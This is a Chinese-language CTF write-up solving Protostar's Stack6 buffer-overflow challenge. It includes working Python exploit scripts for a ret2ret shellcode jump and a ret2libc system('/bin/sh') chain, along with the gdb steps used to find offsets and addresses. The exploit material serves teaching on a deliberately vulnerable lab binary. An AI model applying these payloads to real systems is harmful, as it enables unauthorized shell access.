Pwn系列之Protostar靶场 Stack6题解

这篇具有很好参考价值的文章主要介绍了Pwn系列之Protostar靶场 Stack6题解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

源码如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

首先,我们先来分析这段程序在做什么?

  1. 第1-4行导入一些常见的库函数
  2. 第6行定义了getpath()函数
  3. 第8行定义了一个buffer数组,数组长度是64
  4. 第9行定义了一个unsigned int 变量,变量名ret
  5. 第11行打印输出字符串“input path please”
  6. 第13行用gets函数向buffer数组写入字符
  7. 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址,需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址(Caller's ret)。
  8. 第17行-20行就是判断该返回地址的高位是否是0xbf,如果是,退出函数。
  9. 第22行打印buffer的值

不难知道,main函数是Caller,所以第15行的返回值一定就是main函数中的下一条指令的地址,我们来查看一下当程序运行时,系统为该程序分配的栈地址是多少。

先在main函数里打个断点(程序运行后,才会由内存映射),然后使用info proc map查看

Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

第17行可以看到,栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强,也就是说没法将getpath的返回地址直接返回到buffer的首地址(因为buffer在栈上),实现ret2shellcode。

但是真的不能利用了吗?显然还有机会!但是机会是有前提的。这道题存在两个假设:

  1. 假设栈上可以执行代码(ret2shellcode)

  2. 假设栈上不能执行代码(ret2libc)

接下来,我们将根据两个假设做进一步分析。

getpath的汇编代码:

(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:	push   ebp
0x08048485 <getpath+1>:	mov    ebp,esp
0x08048487 <getpath+3>:	sub    esp,0x68
0x0804848a <getpath+6>:	mov    eax,0x80485d0
0x0804848f <getpath+11>:	mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:	call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:	mov    eax,ds:0x8049720
0x0804849c <getpath+24>:	mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:	call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:	lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:	mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:	call   0x8048380 <gets@plt>
0x080484af <getpath+43>:	mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:	mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:	mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:	and    eax,0xbf000000
0x080484bd <getpath+57>:	cmp    eax,0xbf000000
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    eax,0x80485e4
0x080484c9 <getpath+69>:	mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:	mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:	mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    eax,0x80485f0
0x080484e9 <getpath+101>:	lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:	mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:	mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave  
0x080484f9 <getpath+117>:	ret    
End of assembler dump.

看汇编代码重点关注的是它的栈结构,尤其是buffer距离ret的距离。我们尝试画出getpath的栈图(大致就可以,不需要画的多细,找距离也是通过构造特殊输入计算的,而不是根据栈图计算的。)

Pwn系列之Protostar靶场 Stack6题解

假设一:栈上可以执行代码

正常的ret2shellcode思路:如果栈上可以执行代码,那么我们需要修改ret的返回地址,要控制ret的返回地址到shellcode的首地址,执行shellcode。但现在ret的返回地址会被检查,所以需要在正常思路稍作改动即可。

Pwn系列之Protostar靶场 Stack6题解

第一个ret会被检查,那么我们控制第一个ret返回的是getpath的ret指令地址,地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址,当运行到第2个ret时,eip加载shellcode的首地址,然后就会跳转到buffer里执行shellcode代码!

要找到ret位置,首先我们构造特殊的字符串

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

然后运行程序

Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

在0x55555555中出现段错误,出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。

0x55在我们构造的字符串里是’U‘,所以只要把'U'的地址替换为ret的地址即可。具体修改如下:

(gdb) x /10xw $esp
0xbffff78c:	0x080484f9	0xbffff794	0xcccccccc	0xbffff800
0xbffff79c:	0xb7eadc76	0x00000001	0xbffff844	0xbffff84c
0xbffff7ac:	0xb7fe1848	0xbffff800

payload如下:

# 没有真的写shellcode,而是用0xc来模拟

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)

payload = buffer + ret + shellcode
print payload

假设二:栈上不可以执行代码

当栈上无法执行代码时,shellcode写入栈就没有了任何意义。那么如何利用呢?考虑的方法是借助libc库里的可执行函数,比如system()函数。system执行shell需要参数,比如“/bin/sh”字符串,我们同样也需要在libc库空间里找这个字符串。

Pwn系列之Protostar靶场 Stack6题解

当程序运行到ret时,ret里记录的是system函数的入口地址,程序就会jmp到system函数,system函数执行需要参数,程序就会读取"/bin/sh"字符串作为参数传递给system函数,这样就构成了system("/bin/sh")命令执行,轻松拿到shell。

如果对整个压栈的过程不是很清楚的同学们可能会疑惑,为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢?这里我简单做一个解释。

正常调用一个函数他有一个规约,对于一个main函数调用gets(buffer)函数来说,在main函数里会先把buffer参数压栈(如果是多个参数的的话,从右往左压栈),然后call gets函数。call 命令一般会干两件事,第一件事是push eip,也就是把gets函数的下一条指令地址压栈(这就是为什么栈上要放一个ret的返回的地址)。第二件事是jmp gets,跳转到gets的函数入口。

首先在libc里找到system函数的入口地址(为什么可以呢,因为libc库已经被链接到程序里了,所以可以直接搜system函数的地址)

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

在libc库空间搜索/bin/sh字符串

user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh

1176511是一个相对地址(10进制),所以还要加上libc的基址0xb7e97000(查看内存映射可得出)

Payload如下:

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"

shellcode = struct.pack("I",0xb7e97000+1176511)

payload = buffer +system+ ret + shellcode
print payload

踩坑:

如果直接在gdb里尝试这个Payload会出现一个错误:

__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c

使用下面这条指令,getshell!文章来源地址https://www.toymoban.com/news/detail-417726.html

(python exp1.py; cat) | /opt/protostar/bin/stack6

到了这里,关于Pwn系列之Protostar靶场 Stack6题解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界_PWN_stack2

    本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵 本题关键汇编指令:mov指令和lea指令以及ret指令 mov mov指令的功能是传送数据,它可以把一个操作数的值复

    2024年02月07日
    浏览(25)
  • 【PWN · Stack Smash】[2021 鹤城杯]easyecho

    花式栈溢出——Canary保护是吧?接化发,拿来吧你 目录 前言 一、代码分析 0.保护 1.main函数 2.sub_CF0()函数 (v9指向的函数) 二、Stack Smash过程 0.原理简述  1.条件与准备 2.地址泄露 ①真实地址泄露 ②flag地址泄露 ③argv[0]地址泄露 3.exp 总结  Canary保护,是在栈上插入一段随机

    2024年02月15日
    浏览(39)
  • DozerCTF-PWN题解

    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈 1.pwn_fclose 开了canary和PIE,并且最后clode(1),clode(2)。不过问题不大,printf格式化字符串,泄露canary和libc地址,然后直接栈溢出getshell即可,注意栈平衡。后面就是执行exec 10,就能拿flag了 2.mid_pwn 禁用了open,read,write和其他

    2024年04月28日
    浏览(26)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(41)
  • PolarD&N靶场题解

    #PolarDN CTF靶场 1、swp 直接开扫,得到.index.php.swp文件,下载下来。vim -r .index.php.swp 绕过preg_match,preg_match回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。借此绕过areyouok。 payload如下 2、简单rce POS

    2024年02月08日
    浏览(23)
  • [BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问,欢迎讨论

    首先非常感谢大家阅读我的第一篇。本文章不仅仅是题解,一些细枝末节的小问题也欢迎大家一起解答。 小问题的形式如Qx:xxxxxxx? 欢迎发现小问题并讨论~~ N1nE是本人另外一个名字,目前主要学习pwn方向,此文章以及后续别的文章,如有不当欢迎补充与纠正。 题目来自bu

    2023年04月08日
    浏览(21)
  • heap pwn 入门大全 - 2:glibc heap机制与源码阅读(下)

    本文对glibc堆管理器的各项主要内存操作,以及glibc 2.26后引入的tcache机制进行源码级分析,可作为查找使用。 第一次malloc,会初始分配一个 0x290 的chunk,top chunk split返回给user后,剩余部分继续作为top chunk 通常heap的第一个chunk, prev_inuse 都为1,防止非法内存访问 unlink 将双向

    2024年02月13日
    浏览(37)
  • vulnhub靶场实战系列(一)之vulnhub靶场介绍

    Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。 我们在学

    2024年02月10日
    浏览(23)
  • DC-4靶场搭建及渗透实战详细过程(DC靶场系列)

    目录 一. 信息收集 1. 主机扫描 2. 端口扫描 3. 目录扫描 4. 页面信息探测 二. 渗透过程 1. 用户登入爆破 2. 任意命令执行 3. 反弹shell 4. Linux提权(假) 4. Linux提权(真) 5. 查找flag 三. 收获总结 1. netcat反弹shell命令 2. teehee提权 DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip 搭

    2024年02月05日
    浏览(30)
  • DC-3靶场搭建及渗透实战详细过程(DC靶场系列)

    目录 一. 信息收集 1. 主机扫描 2. 端口扫描  3. 目录扫描 4. web页面信息探测 二. 漏洞找查 1. joomscan 2. searchsploit 三. 漏洞利用 1. SQL注入 2. 密码爆破 3. 反弹shell 4. Get交互shell 四. Linux提权 1. 确定操作系统信息 2. 搜索操作系统漏洞 3. 利用exp提权 4. 找查flag 五. 收获总结 1. joomsca

    2023年04月15日
    浏览(70)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包